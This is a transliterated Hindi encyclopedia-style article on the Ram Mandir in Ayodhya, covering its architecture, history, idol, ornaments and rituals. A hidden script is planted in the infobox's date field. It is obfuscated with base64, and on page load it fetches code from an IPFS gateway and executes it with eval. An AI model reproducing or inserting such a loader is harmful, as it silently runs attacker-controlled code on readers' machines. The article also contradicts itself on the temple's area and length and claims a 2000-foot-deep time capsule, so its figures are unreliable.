राम मन्दिर, अयोध्या

ram mandir, ayodhya
ram mandir, ayodhya|200px|center
rajy	uttar pradesh
zila	ayodhya
nirmata	larsan eand tubro
prabandhak	shriram janmabhoomi tirth kshetr trast
sthapana	22 janavari, 2024
prasiddhi	shriram ki janmabhoomi ke roop mean
vastukar	somapur parivar chandrakant somapur, nikhil somapur aur ashish somapur
nirman shaili	nagar shaili
shilanyas	5 agast, 2020
moortikar	arun yogiraj (maisoor), ganesh bhatt aur satyanarayan paande
mandir kshetraphal	2.77 ek d
mandir ayam	lanbaee- 380 phit, chau daee- 250 phit, ooanchaee- 161 phit
pariyojana prabandhan kanpani	tata kansaltiang ianjiniyars limited
dizain salahakar	aeeaeeti chennee, aeeaeeti b aaumbe, aeeaeeti guvahati, sibiaraee ru daki, esavienaeeti soorat, enajiaraee haidarabad
adyatan‎	15:40, 14 faravari 2024 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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ram mandir (aangrezi: Ram Mandir) vishv ka prasiddh mandir hai jo bharat ke uttar pradesh rajy ki dharmik nagari ayodhya mean sthit hai. yah prasiddh mandir bhagavan shriram ko samarpit hai. bharat ke pradhanamantri narendr modi ne 22 janavari, 2024 ko mandir mean ramalala ki pran pratishtha ke pavitr karyakram ko poora kiya tha. paranparagat nagar shaili mean taiyar kiye ge is mandir ki sundarata dekhane yogy hai. ram mandir ki dekharekh 'shriram janmabhoomi tirth kshetr trast' dvara ki ja rahi hai. hindoo manyanusar yah mandir ram janmabhoomi sthal par sthit hai, jo hindoo dharm ke mukhyaradhy shriram ka pauranik janmasthan hai. 5 agast, 2020 ko pradhanamantri narendr modi ne ram mandir ke nirmanarambh hetu bhoomi poojan kiya tha. isake bad 22 janavari, 2024 ko unhoanne ram mandir pran pratishtha (abhishek) ke anushthan mean mukhy yajaman nibhaya.

yah mandir 70 ek d mean bana hai. shraddhalu poorv disha se 32 sidhiyaan chadhakar sianhadvar se mandir mean pravesh kar sakeange. is mandir ki nianv ko banane mean 2587 jagahoan ki mitti ka istemal kiya gaya hai. yah ram mandir bhagavan ram se ju di saanskritik aur adhyatmik virasat ko darshata hai aur hianduoan ke lie atyadhik saanskritik aur dharmik mahattv ko pradarshit karata hai. mandir mean shriram ki jo moorti hai, usake mootikar arun yogiraj (maisoor), ganesh bhatt aur satyanarayan paande haian.

visheshataean

ram mandir ki nimn visheshataean haian-

• mandir paranparagat nagar shaili mean banaya gaya hai. mandir ki lanbaee (poorv se pashchim) 380 phut, chau daee 250 phut aur ooanchaee 161 phut hai. vahian 3 manjila mandir mean pratyek manjil ki ooanchaee 20 phut jahaan kul 392 khanbhe aur 44 dvar banaye ge haian.
• ram mandir trast ke mutabik mukhy garbhagrih mean prabhu shriram ka balaroop (shriramalala sarakar ka vigrah) aur pratham tal par shriram darabar banaya gaya hai. mandir mean poorv disha se 32 sidhiyaan chadhakar sianhadvar se pravesh kiya ja sakega.
• mandir ke 70 ek d kshetr mean se 70 pratishat kshetr hamesha hara-bhara rahega. vahian mandir mean lohe ka upayog nahian kiya gaya hai aur n hi dharati ke oopar kankrit bichhaee gayi hai.[[chitr:Ram-Mandir-Ayodhya-1.jpg|thumb|left|250px|ram mandir, ayodhya]]
• mandir mean 5 mandap banaye ge haian, jinake nam is prakar haian-

1. nrity mandap
2. rang mandap
3. sabha mandap
4. prarthana mandap
5. kirtan mandap

• mandir ke khanbhoan v divaroan mean devi-devata tatha devaanganaoan ki moortiyaan ukeri gayi haian jo mandir ki khoobasoorati ko aur badha deti haian. divyaangajan evan vriddhoan ke lie mandir mean raimp v lipht ki vyavastha ki gayi hai.
• ram mandir ke charoan or ayatakar parakota rahega. charoan dishaoan mean isaki kul lanbaee 732 mitar tatha chau daee 14 phit hai. parakota ke charoan konoan par sooryadev, maan bhagavati, ganapati v bhagavan shiv ko samarpit char mandiroan ka nirman kiya gaya hai. vahian uttari bhuja mean maan annapoorna, v dakshini bhuja mean hanuman ji ka mandir hai.
• mandir ke samip pauranik kal ka sitakoop vidyaman rahega. mandir parisar mean prastavit any mandir- maharshi valmiki, maharshi vashishth, maharshi vishvamitr, maharshi agasty, nishadaraj, mata shabari v rrishipatni devi ahilya ko samarpit hoange.
• dakshin pashchimi bhag mean navaratn kuber tila par bhagavan shiv ke prachin mandir ka jirno‌ddhar kiya gaya hai aur vahaan jatayu ki pratima ki sthapana ki gee hai.[[chitr:Ram-Murti-Ram-Mandir-Ayodhya-3.jpg|thumb|left|250px|ram pratima, ram mandir, ayodhya]]
• mandir ke niche 14 mitar moti rolar k aaumpekted kankrit bichhaee gee hai. ise kritrim chattan ka roop diya gaya hai. mandir ko dharati ki nami se bachane ke lie 21 phit ooanchi plianth grenait se banaee gee hai. mandir parisar mean svatantr roop se sivar tritameant plaant, v aautar tritameant plaant, agnishaman ke lie jal vyavastha tatha svatantr p aauvar steshan ka nirman kiya gaya hai, taki bahari sansadhanoan par nyoonatam nirbharata rahe.
• 25 hajar kshamata vale ek darshanarthi suvidha keandr ka nirman kiya ja raha hai, jahaan darshanarthiyoan ka saman rakhane ke lie l aaukar v chikitsa ki suvidha rahegi.
• mandir parisar mean snanagar, shauchalay, v aaush besin, opan taips adi ki suvidha bhi rahegi. mandir ka nirman poornataya bharatiy paramparanusar v svadeshi takanik se kiya ja raha hai. paryavaran-jal sanrakshan par vishesh dhyan diya ja raha hai.
• mandir ke garbhagrih mean lage sone ke daravaje ki ooanchaee karib 12 phit hai, jabaki isaki chau daee 8 phit hai. mandir mean kul 46 daravajoan mean se 42 par 100 kilogram sone ki parat chadhaee gee hai.
• mandir ke 2000 phit niche ga de ge taim kaipsool mean mandir, bhagavan ram aur ayodhya ke bare mean prasangik janakari aankit ki gee hai. aisa ane vali pidhiyoan ke lie mandir ki pahachan sanrakshit karane ke makasad se kiya gaya hai.
• ram mandir ko banavane ke lie hajaroan logoan ne apani-apani kshamata aur astha ke mutabik dan kiya hai. mandir ke lie kul 3200 karo d rupaye dan mean mila hai.

itihas

thumb|250px|mandir mean shriram ki pratima ayodhya ka ram janmabhoomi desh ke sabase lanbe chalane vale kes mean ek raha. ram janmabhoomi ka itihas bahut purana hai. san 1528 se lekar 2023 tak shriram janmabhoomi ke poore 495 varshoan ke itihas mean kee mo d ae. isamean 9 navanbar 2019 ka din behad khas raha, jab 5 jajoan ki sanvaidhanik beanch ne aitihasik phaisala sunaya.

• 1528: mugal badashah babar ke sipahasalar mir baki ne vivadit jagah par masjid ka nirman karaya. is sthan ko lekar hiandoo samuday ke logoan dvara yah dava kiya ki yahaan bhagavan ram ki janmabhoomi hai aur is sthan par ek prachin mandir bhi tha. hiandoo paksh ke logoan ne masjid mean bane tin guanbadoan mean ek guanbad ke niche bhagavan ram ka janmasthan bataya.
• 1853-1949: shriram janmabhoomi par jahaan masjid ka nirman kiya gaya, vahaan ke asapas ke kee sthanoan par pahali bar 1853 mean dange hue. isake bad 1859 mean aangreji prashasan ne vivadit sthan ke pas ba d laga di aur muslimoan ko dhaanche ke aandar vahian hianduoan ko bahar chabootare ke pas pooja karane ki ijajat de di.
• 1949: asali vivad 23 sitanbar 1949 ko tab hua, jab masjid mean bhagavan ram ki moortiyaan milian. ise lekar hindoo samuday ke log kahane lage ki yahaan sakshat bhagavan ram prakat hue haian. vahian muslim samuday ke logoan ne arop lagaya ki kisi ne chupake se yahaan moortiyaan rakhian. aise mean yoopi sarakar ne turant moortiyoan ko vahaan se hatane ke adesh die. lekin jila maijistret (diem) ke.ke. nayar ne dharmik bhavana ko thes pahuanchane aur dangoan bh dakane ke dar se is adesh mean asamarthata jataee. is tarah se sarakar dvara ise vivadit dhaancha manakar tala laga diya gaya.
• 1950: phaijabad ke sivil kort mean do arji dakhil huee. isamean ek to vivadit bhoomi par ramalala ki pooja ki ijajat aur doosari moorti rakhe jane ki ijajat par thi.
• 1961: yoopi sunni vakph bord ne ek arji dakhil ki aur vivadit bhoomi par pajeshan aur moortiyoan ko hatane ki maang ki.
• 1984: 1 pharavari 1986 mean yoosi paande ki yachika par phaijabad ke jila jaj ke.em. paande ne hianduoan ko pooja karane ki ijajat de di aur dhaanche par lage tale ko hatane ka adesh diya.
• 1992: 6 disanbar 1992 ko viechapi aur shivasena samet kee hiandoo sangathan ke lakhoan karyakartaoan ne vivadit dhaanche ko gira diya. isase deshabhar mean saanpradayik dange hue.
• 2002: godhara tren jo ki hindoo karyakartaoan ko lekar ja rahi thi, usamean ag laga di gee aur karib 58 log mare ge. ise lekar gujarat mean bhi dange ki ag bh dak gee aur do hajar se adhik log is dange mean mare ge.
• 2010: ilahabad uchch nyayalay ne phaisale par vivadit bhoomi ko sunni vakph bord, ramalala virajaman aur nirmohi akha da ke bich tin barabar hissoan mean baantane ka adesh diya.
• 2011: ayodhya vivad par ilahabad uchch nyayalay ke phaisale par suprim kort ne rok laga di.
• 2017: suprim kort ne aut aauph kort setalameant ka ahvan kiya aur bhajapa ke kee netaoan par aparadhik sajish arop bahal kie ge.

[[chitr:Ram-Murti-Ram-Mandir-Ayodhya-4.jpg|thumb|left|250px|shriram ke bhavy darshan]]

• 2019: 8 march 2019 ko suprim kort ne mamale ko madhyasthata ke lie bheja aur 8 saptah ke bhitar karyavahi ko khatm karane ke adesh die. isake bad 1 agast ko madhyasthata painal ne riport pesh ki aur 2 agast ko suprim kort madhyasthata painal mamale mean samadhan nikalane kamayab nahian rahe. is bich suprim kort mean ayodhya mamale ko lekar pratidin sunaee hone lagi aur 16 agast 2019 ko sunavaee poori hone ke bad phaisala surakshit rakha gaya. 9 navanbar ko suprim kort ke 5 jajoan ki beanch ne shriram janmabhoomi ke paksh mean phaisala sunaya. vahian 2.77 ek d vivadit bhoomi hiandoo paksh ko mili aur masjid ke lie alag se 5 ek d jamin muslim paksh ko muhaiya karane ka adesh diya gaya.
• 2020: 25 march 2020 ko poore 28 sal bad ramalala teant se nikalakar phaibar mandir mean shipht hue aur isake bad 5 agast ko bhoomi poojan kiya gaya.
• 2023: ab ek bar phir se ram ki janmabhoomi ayodhya mean ramalala ka bhavy mandir banakar taiyar hua.
• 2024: karib 500 sal ke lanbe iantajar ke bad akhirakar 22 janavari 2024 ko shriram janmabhoomi ayodhya mean bhavy ram mandir ka abhishek samaroh ayojit kiya gaya. yah sanatan premiyoan ke lie bhakti, khushi aur utsah ka pal tha. 22 janavari ko ram mandir ke abhishek v pran pratishtha ke bad 24 janavari 2024 ko pradhanamantri nareandr modi dvara mandir ka udghatan kiya gaya.

nirman shaili

ayodhya mean ram mandir ka nirman vastukala ki nagar shaili mean kiya gaya hai. uttar bharat ki mandir vastukala ki shaili ko nagar shaili ke nam se jana jata hai. dakshin bharat ke viparit nagar shaili mean amataur par vistrit divarean ya pravesh dvar nahian hote haian. in mandiroan mean garbhagrih ke samane mandapoan ka nirman kiya jata hai. jabaki shuruati mandiroan mean sirph ek minar ya shikhar tha, lekin bad ke mandiroan mean kee shikhar the. garbhagrih hamesha sabase ooanche shikhar ke niche sthit hota hai. hindoo mandir ke mool roop mean nimn shamil haian-

• ‘garbhagrih’ jo ek pravesh dvar ke sath ek chhota kaksh tha, samay ke sath ek b de kaksh mean vikasit hua. garbhagrih mean devata ki moorti sthapit ki jati hai.
• mandir ka pravesh dvar jo ek stanbhayukt kaksh hai, b di sankhya mean upasakoan ke lie sthan hai, ise ek ‘mandap’ ke roop mean jana jata hai.
• ‘shikhar’ akar mean parvat jaisa hota hai, jo uttar bharat mean ek ghumavadar 'shikhar' ka akar le sakata hai aur ise dakshin bharat mean 'viman' kaha jata hai, jo piramid ke akar ka hota hai.
• 'vahan' mandir ke mukhy devata ka vahan hota hai jo garbhagrih ki sidh mean rakha jata hai.

ram mandir ka mool dizain 1988 mean ahamadabad ke somapura parivar dvara taiyar kiya gaya tha. somapura ne kam se kam 15 pidhiyoan se duniya bhar mean 100 se adhik mandiroan ke dijain mean yogadan diya hai, jisamean somanath mandir bhi shamil hai. mandir ke mukhy vastukar chandrakaant somapura the, unaki sahayata unake do bete- nikhil somapura aur ashish somapura ne ki, jo vastukar bhi haian. mool se kuchh badalavoan ke sath ek naya dizain 2020 mean somapura dvara taiyar kiya gaya tha hiandoo granthoan vastushastr aur shilpashastroan ke anusar. mandir 250 phit chau da, 380 phit lanba aur 161 phit ooancha hai. ek bar poora hone par mandir parisar duniya ka tisara sabase b da hiandoo mandir hoga. ise nagar shaili ki vastukala ki gurjar-chaluky shaili mean dizain kiya gaya hai, jo ek prakar ki hiandoo mandir vastukala hai jo mukhy roop se uttari bharat mean paee jati hai. mandir ka ek m aaudal 2019 mean prayag kuanbh mele ke dauran pradarshit kiya gaya tha. mandir ki mukhy sanrachana tin manjila ooanche chabootare par banaee jaegi. isamean garbhagrih ke madhy mean aur pravesh dvar par paanch mandap hoange. ek taraph tin mandap kudu, nrity aur rang ke hoange aur doosari taraph ke do mandap kirtan aur prarthana ke hoange. nagar shaili mean mandapoan ko shikharoan se sajaya jata hai.

vastukar

ayodhya mean bhavy ram mandir, jisaka udghatan 22 janavari, 2024 ko hua, ek chamatkar hai; jo paranparik bharatiy virasat ko adhunik vaijnanik takanikoan ke sath mishrit karata hai. prasiddh vastukar chandrakant bi somapura aur unake bete ashish dvara dijain kiya gaya yah aitihasik mandir shahar mean 2.7 ek d bhoomi par garv se kh da hai. ayodhya ram mandir ke mukhy vastukar chandrakaant somapura, ahamadabad sthit mandir vastukaroan ke ek pratishthit vansh se haian. kee pidhiyoan se chali a rahi parivarik virasat ke sath somapura ne 200 se adhik mandiroan ka dizain aur nirman karake bharatiy mandir vastukala par ek amit chhap chho di hai. unaki kritiyoan mean gujarat mean somanath mandir, muanbee mean svaminarayan mandir, gujarat mean aksharadham mandir parisar aur kolakata mean bi dala mandir jaisi pratishthit sanrachanaean ullekhaniy haian.

sthapaty

ayodhya ram mandir nagar vastukala ki bhavyata ka ek jivant praman hai, ek shaili jisaki j dean paanchavian shatabdi mean haian. mandir ki jatil nakkashi, rajasi shikhar aur pavitr garbhagrih bharat ki saanskritik aur dharmik vividhata ko shraddhaanjali dete haian. yah dizain bhagavan ram ke poojaniy nivas ke sar ko darshata hai, jo adhyatmikata aur vastushilp pratibha ka samanjasyapoorn mishran banata hai. jaise-jaise ram mandir ka bhavy pratishtha samaroh najadik a raha tha, chandrakaant somapura ka nam bharatiy itihas ke pannoan mean aankit ho raha tha. ayodhya ram mandir ke mukhy vastukar ke roop mean unake samarpan aur visheshajnata ne ek divy sanrachana taiyar ki hai jo vastushilp simaoan se pare hai. unaki drishti ki parinati n keval ek pavitr pooja sthal ka vada karati hai, balki ekata, saanskritik gaurav aur sthayi vishvas ka pratik bhi hai jo bharat ki vividh tepestri mean pratidhvanit hoti hai.

imarat mean kul 366 k aaulam hoange. stanbhoan mean pratyek mean 16 moortiyaan hoangi jinamean shiv ke avatar, 10 dashavatar, 64 chausath yoginiyaan aur devi sarasvati ke 12 avatar shamil hoange. sidhiyoan ki chau daee 16 phit hogi. vishnu ko samarpit mandiroan ke dizain ke anusar, garbhagrih ashtakoniy hoga. mandir 10 ek d mean banaya gaya hai aur 57 ek d bhoomi ko ek prarthana kaksh, ek vyakhyan kaksh, ek shaikshik suvidha aur ek sangrahalay aur ek kaipheteriya sahit any suvidhaoan ke sath ek parisar mean vikasit kiya gaya hai. mandir samiti ke anusar, 70,000 se adhik log is sthal ka daura kar sakeange. larsan eand tubro ne mandir ke dijain aur nirman ki niahshulk dekharekh karane ki peshakash ki thi aur vah is pariyojana ka thekedar ban gaya tha.

mandir ka vastushilp ayam

ayam- mandir ek prabhavashali sanrachana hai, jo 161 phit ooanchi, 235 phit chau di aur kul 360 phit lanbi hai. isamean lagabhag 57,000 varg phut ka nirmit kshetr shamil hai.
sthapaty shaili- prachin bharat ki vishisht mandir-nirman shailiyoan mean se ek, nagar shaili ka anusaran karate hue, mandir adhunik takanik ko shamil karate hue savadhanipoorvak vaidik anushthanoan ka palan karata hai.

paranparik samagri

mandir ko gupt kal ke dauran ubhari nagar shaili ka palan karate hue grenait, balua patthar aur sangamaramar ka upayog karake banaya gaya hai. vishesh roop se isake nirman mean kisi bhi simeant ya mortar ka upayog nahian kiya gaya tha, jo dirghayu sunishchit karata hai. stil ya lohe ke bajay mandir mean grenait aur balua patthar ke mishran se ek tala aur chabi tantr shamil hai, jo 1,000 sal tak ka jivanakal pradan karata hai.

vaijnanik yogadan

ianjiniyariang utkrishtata: nirman mean shirsh bharatiy vaijnanik shamil the, jinamean 'keandriy bhavan anusandhan sansthan' (sibiaraee) ke nideshak pradip kumar ramancharala shamil the, jo is pariyojana mean sakriy roop se yogadan de rahe the.
isaro teknol aaujij: mandir mean 'bharatiy aantariksh anusandhan sangathan' (isaro) ki praudyogikiyoan ko shamil kiya gaya hai, jo paranparik vastukala aur adhunik vaijnanik pragati ka mishran pradarshit karata hai.
abhinav samaroh: sibiaraee aur 'bharatiy khagol bhautiki sansthan' (aeeaeee) ke vaijnanikoan dvara dijain kiya gaya ek vishesh ‘soory tilak’ darpan, sooraj ki roshani ka upayog karake, har ramanavami ke din dopahar mean bhagavan ram ke aupacharik abhishek ke lie istemal kiya jaega.

ramalala ki pratima

[[chitr:Lord-Shri-Ram-Murti-Ayodhya.jpg|thumb|250px|mandir mean sthapit shriram ki pratima]] 29 disanbar, 2023 ko ayodhya ram mandir ke lie ramalala ki moorti ka chayan matadan prakriya ke madhyam se kiya gaya tha. karnatak ke moortikar arun yogiraj ne ram ki moorti banaee. maisoor ke rahane vale arun yogiraj kaphi prasiddh moortikaroan mean se ek haian, inaka poora parivar hi isi kam ko karata raha hai. unhoanne bhi isi dharohar ko age badhaya aur moorti banane ki kala ko poore desh mean phemas kiya. vah apane parivar ki paanchavi pidhi ke moortikar haian. unake pita ne isase pahale gayatri aur bhuvaneshvari mandir ke lie kary kiya tha. ab aisa hi khas mauka inhean mila. unhoanne ram mandir ke lie bhagavan ram ki moorti ko taiyar kiya. ab vahi pratima mandir ke aandar lagaee gee hai.

aise bani moorti

mandir ke aandar lagane vali ram moorti ko 5 sal ke bachche ke svaroop mean taiyar kiya gaya hai. isake lie pahale (bhagavan ram ki bahan ka mandir) se hi shilpakaroan ko bataya gaya tha aur usi ke hisab se is moorti ko taiyar kiya gaya hai taki agar koee dekhe to vo yahi kahe ki ramalala ka bal svaroop isamean najar a raha hai. isake lie arun yogiraj ne rojana 12 ghante kam kiya. tab jakar is moorti ko taiyar kiya gaya aur mandir mean lagane ke lie phainal kiya gaya.

ram mandir ke garbhagrih mean virajaman ramalala ki moorti mean kee tarah ki khoobiyaan haian. moorti mean sabase oopar svastik aur ek abha mandal bhi banaya gaya hai. shyam shila ki ayu hajaroan sal hoti hai, ye jalarodhi hoti hai, chandan-roli se moorti ki chamak prabhavit nahian hoti hai. pair ki uangali se lalat tak ramalala ki moorti ki kul ooanchaee 51 ianch hai. moorti ka vajan karib 150 se 200 kilo hai. moorti ke oopar mukut sushobhit hai. shriram ki bhujaean ghutanoan tak lanbi haian. mastak suandar aur aankhean b di haian. lalat bhavy hai. moorti kamaladal par kh di mudra mean hai. ramalala ke hath mean tir aur dhanush haian, moorti mean 5 sal ke bachche ki balasulabh komalata jhalakegi. moorti nirman ke lie tuangabhadra nadi se shila li gee hai, jise arun yogiraj dvara moorti ka roop diya gaya hai. jis samay moorti ka nirman ho raha tha, tab yah kary ati suraksha ke bich kiya gaya tha. kisi bhi vyakti ko moorti ko dekhane ki anumati nahian thi.

vishnu ke 10 avatar

ramalala ki moorti mean uttar aur dakshin bharat ka samavesh dikhaee dega. isamean bhagavan vishnu ke 10 avatar- matsy, koorm, varah, nrisianh, vaman, parashuram, ram, krishna, buddh aur kalki avatar ka varnan hai. sath hi sabhi 10 avataroan ki akritiyaan bhi banaee gee haian. moorti mean hanuman aur garu d ki akritiyaan bhi haian. moorti ki chau daee 3 phit hai.

shila

[[chitr:Arun-Yogiraj-making-Ram-Statue.jpg|thumb|left|250px|arun yogiraj shriram ki pratima tarashate hue]] ramalala ki moorti ko rajasthan v karnatak ki shila se taiyar kiya gaya hai. karnatak ki 'shyam shila' v rajasthan ke 'makarana' (ramatek mandir) sangamaramar shila hai jo kaphi kathor hoti hai aur is par akriti jab banakar taiyar hoti hai to vo kaphi suandar lagati hai. isaki chamak sadiyoan tak rahati hai. inaki ayu lanbi hoti hai.

moorti ka rang kala kyoan?

akhir moorti ka rang kala hi kyoan rakha gaya hai. darasal, valmiki krit ramayan mean bhagavan shriram ka shyamal varn ka ullekh kiya gaya hai. vahian, jis shila se moorti ka nirman kiya gaya hai, vah kale rang ki hai. yah shila hajaroan sal tak surakshit avastha mean rahati hai. moorti ka nam 'balak ram' kar diya gaya hai kyoanki yah paanch varshiy bal svaroop mean maujood hai. hindoo dharm mean moorti abhishek ka chalan hai, jisake tahat moorti ka doodh aur jal se abhishek karane ke sath moorti par siandoor aur roli lagane ki bhi paranpara hai. aise mean shyamal varn ki shila hone ke karan moorti ko kisi bhi prakar ka nukasan nahian pahuanchega aur moorti hajaroan varshoan tak yatha sthiti mean hi rahegi.

poshak

ramalala ki poshak darji bhagavat prasad aur shankaralal ne sili thi, jo ram ki moorti ke chauthi pidhi ke darji the. ramalala 1989 mean vivadit sthal par adalati mamale mean ek vadi the, unhean kanoon dvara nyayik vyakti mana jata tha. unaka pratinidhitv viechapi ke varishth neta trilokinath paande ne kiya, jinhean ramalala ka sabase karibi manaviy mitr mana jata tha. mandir trast ke anusar, aantim bloopriant mean mandir ke maidan mean soory, ganesh, shiv, durga, vishnu aur brahma ko samarpit mandir shamil haian. mandir ke garbhagrih mean ramalala ki do moortiyaan (unamean se ek 5 sal purani) rakhi jaeangi.

ramalala ke abhooshan

[[chitr:Ram-Murti-in-Ram-Mandir-Ayodhya-1.jpg|thumb|250px|shriram ki abhooshanoan se susajjit pratima]] ayodhya mean bhavy ram mandir mean virajaman ramalala ke lie abhooshan adhyatm ramayan, valmiki ramayan, ramacharitamanas aur alavandar stotram jaise granthoan par lanbi risarch aur stadi ke bad taiyar kie ge haian. ye janakari mandir trast ki taraph se di gee hai. ramalala ke abhooshan badayooan, uttar pradesh ke sarraph harasahayamal shyamalal jvelars ki lakhanoo shakha ne taiyar kie haian. ayodhya ke kavi yateandr mishra ke nirdesh par ramalala ke gahane taiyar kie ge haian. bhagavan ram ke shish par mukut ya kirit dharan hai. kanoan mean kuandal, gale mean kantha, hraday par kaustubh mani, nabhikamal ke oopar padik, vaijayanti ya vijayamal, kamar mean kaanchi ya karadhani, bhujabandh ya aangad, kankan ya kangan, mudrika, pairoan mean chh da ya paijaniya, hathoan mean dhanush, gale mean mala, mastak par tilak, charanoan ke niche kamal, paanch sal ke ramalala ke khelane ke lie chaandi ke khilaune, bhagavan ke prabha mandal ke oopar chhatr adi maujad haian.

shish par mukut ya kirit

bhagavan ramalala ne uttar bharatiy paranpara ke mutabik sone se bana mukut pahana hai, jis par maniky, panna, hire j de hue haian. mukut ke bich mean bhagavan soory virajaman haian. mukut ke dayi taraph motiyoan ki l diyaan lagi haian.

kuandal

ramalala ke kanoan mean khoobasoorat kuandal dharan kie haian. isamean mor ki akritiyaan bani haian. sone se bane bhagavan ke kuandaloan mean hire, maniky aur panna j de ge haian.

kantha

gale mean ratnoan se j da arddhachandrakar kantha pahana hua hai. ise mangal ka vidhan rachate phool arpit kie ge haian. isake bich mean soory ki akriti bani hai. sone se bane is kanthe mean hire, maniky aur panna j da gaya hai. isake niche panne ki l diyaan lagaee gee haian.

hraday par kaustubh mani

bhagavan ne kaustubh mani dharan kiya hai. isako b de maniky aur hiroan se sajaya gaya hai. shastroan ke mutabik bhagavan vishnu aur unake avatar hraday mean kaustubh mani dharan karate haian, isilie ramalala ko bhi ise dharan karaya gaya hai.

padik

ramalala ke gale ke niche nabhikamal ke oopar ek har dharan karaya gaya hai. dev alankaran mean isaka khas mahatv hai. padik paanch l diyoan vala hire aur panne ka aisa panchal da hai, jisake niche ek b da sa suandar aur j daoo peandeant lagaya gaya hai.

vaijayanti ya vijayamal

vaijayanti ramalala ko pahanaya jane vala sone se bana tisara aur sabase lanba har hai. isamean jagah-jagah maniky j de ge haian. ise bhagavan ko vijay ke pratik ke roop mean pahanaya jata hai, jisamean vaishnav paranpara ke sabhi mangal chinh, sudarshan chatr, padyapushp, shankh aur mangal kalash bana hua hai. isamean paanch tarah ke devoan ke pasandida phooloan ko bhi khoobasoorati se sajaya gaya hai, ye kamal, chanpa, parijat, kuand aur tulasi haian.

kaanchi ya karadhani

[[chitr:Ram-Murti-in-Ram-Mandir-Ayodhya.jpg|thumb|250px|shriram, ram mandir, ayodhya]] ramalala ko kamar mean ratnoan se j di karadhani dharan karaee gee hai. sone se bani karadhani mean hire, maniky, moti, panna j de ge haian. pavitrata ke taur par isamean paanch ghantiyaan bhi lagaee gee haian. in ghantiyoan par panna, moti, maniky ki l diyaan lagaee gee haian.

bhujaband ya aangad

bhagavan ramalala ko donoan bhujaoan mean sone aur ratnoan se j de bhujaband pahanae ge haian.

kankan, kangan

ramalala ke donoan hathoan mean hire, moti jaise ratnoan se j de khoobasoorat kangan pahanae ge haian.

mudrika

ramalala daean aur baean, donoan hathoan mean mudrikaean dharan ki huee haian. in aangoothiyoan mean ratn j de haian aur moti latak rahe haian.

chh da aur paijaniyaan

pairoan mean chh da aur paijaniya pahanae ge haian. bhagavan ke pairoan ki suandarata badha rahi payalean sone ki haian.

dhanush

ramalala ke baean hath mean sone ka dhanush pahanaya gaya hai. is dhanush ko moti, maniky aur panne ki l diyoan se sajaya gaya hai. vahian hahine hath me sone ka ban bhagavan dharan kie hue haian.

vanamala

gale mean rang-birange phooloan ki akritiyoan vali vanamala pahanaee gee hai. isako hastashilp ke lie samarpit shilpamanjari sanstha ne banaya hai.

tilak

bhagavan ramalala ke mastak par mangal tilak pahanaya gaya hai. is tilak mean hire aur maniky j de hue haian.

charanoan ke niche kamal

bhagavan ke charanoan ke niche kamal shobhayaman hai. isake niche ek sone ki mala saji huee hai.

khilaune

bhavy ram mandir mean paanch sal ke ramalala viraje haian, to unake khelane ke lie chaandi se bane khilaune rakhe ge haian. khilaunoan mean jhunajhuna, hathi, gho da, ooant, khilaunaga di aur lattoo shamil hai.

chhatr

bhagavan ramalala ke prabha-mandal ke oopar sone ka chhatr laga hua hai.

arati

pahali arati : subah 4:30 baje- mangala arati, ye jagane ke lie hai.
shraddhalu subah 6:30 baje, dopahar 11:30 baje aur sham 6:30 baje ki arati mean hi shamil ho sakate haian.
doosari arati : subah 6:30-7:00 baje- ye shriangar arati kahalati hai. isamean yantr pooja, seva aur bal bhog hoga.
tisari arati : 11:30 baje- rajabhog arati (dopahar ka bhog) aur shayan se pahale ki arati hogi. isake bad ramalala dhaee ghante tak vishram kareange. garbhagrih band ho jaega. is dauran shraddhalu mandir parisar mean ghoom sakate haian.
chauthi arati: dopahar 2:30 baje. isamean archak ramalala ko shayan se jagaeange.
paanchavian arati : sham 6:30 baje.
chhathi arati : rat 8:30-9:00 baje ke bich. yah shayan arati kahalaegi. isake bad ramalala shayan kareange.

bhoomi poojan samaroh

ayodhya ke ram mandir ka nirman adhikarik taur par 5 agast ko adharashila samaroh ke bad phir se shuroo hua. tin divasiy vaidik anushthanoan ko adharashila ke samaroh se pahale ayojit kiya gaya tha. bharat ke pradhanamantri nareandr modi dvara adharashila ke roop mean 40 kilo chaandi ki eeant ki sthapana huee. 4 agast ko ramarchan pooja ki gee, sabhi pramukh devi-devataoan ko nimantran diya gaya. bharat bhar ke kee dharmik sthanoan se bhoomi poojan hetu mitti aur pavitr nadiyoan ka jal laya gaya tha. jal v mitti triveni sangam, ganga, yamuna, sarasvati, kaveri nadi, kamakhya mandir, asam adi se ekatr kiye ge the. mandir ko ashirvad dene ke lie deshabhar ke vibhinn hiandoo mandiroan, gurudvaroan aur jain mandiroan se mitti bhi bheji gee. inamean pakistan sthit sharada pith bhi thi.

mitti ko char dham ke char tirth sthanoan ke roop mean bheja gaya tha. sanyukt rajy amerika, kanada aur kairibiyan dvipoan ke mandiroan ne is avasar ko manane ke lie ek abhasi seva ka ayojan kiya. hanumanagadhi ke sat kilomitar ke dayare ke sabhi 7000 mandiroan ko bhi diya jalakar utsav mean shamil hone ke lie kaha gaya. ayodhya mean muslim bhakt jo bhagavan ram ko apana poorvaj manate haian, ve bhi bhoomi-pooja ke lie tatpar the. is avasar par sabhi dharmoan ke adhyatmik netaoan ko amantrit kiya gaya tha. 5 agast ko pradhanamantri narendr modi hanumanagadhi mandir mean hanuman ki anumati ke lie ge the. isake bad ram mandir ka jamin to d aur shilanyas hua. yogi adityanath, mohan bhagavat, nrityagopal das aur piem narendr modi ne bhashan die. modi ne 'jay siya ram' ke sath apane bhashan ki shuruat ki aur unhoanne upasthit logoan se 'jay siya ram' ka jap karane ka agrah kiya.

pran pratishtha

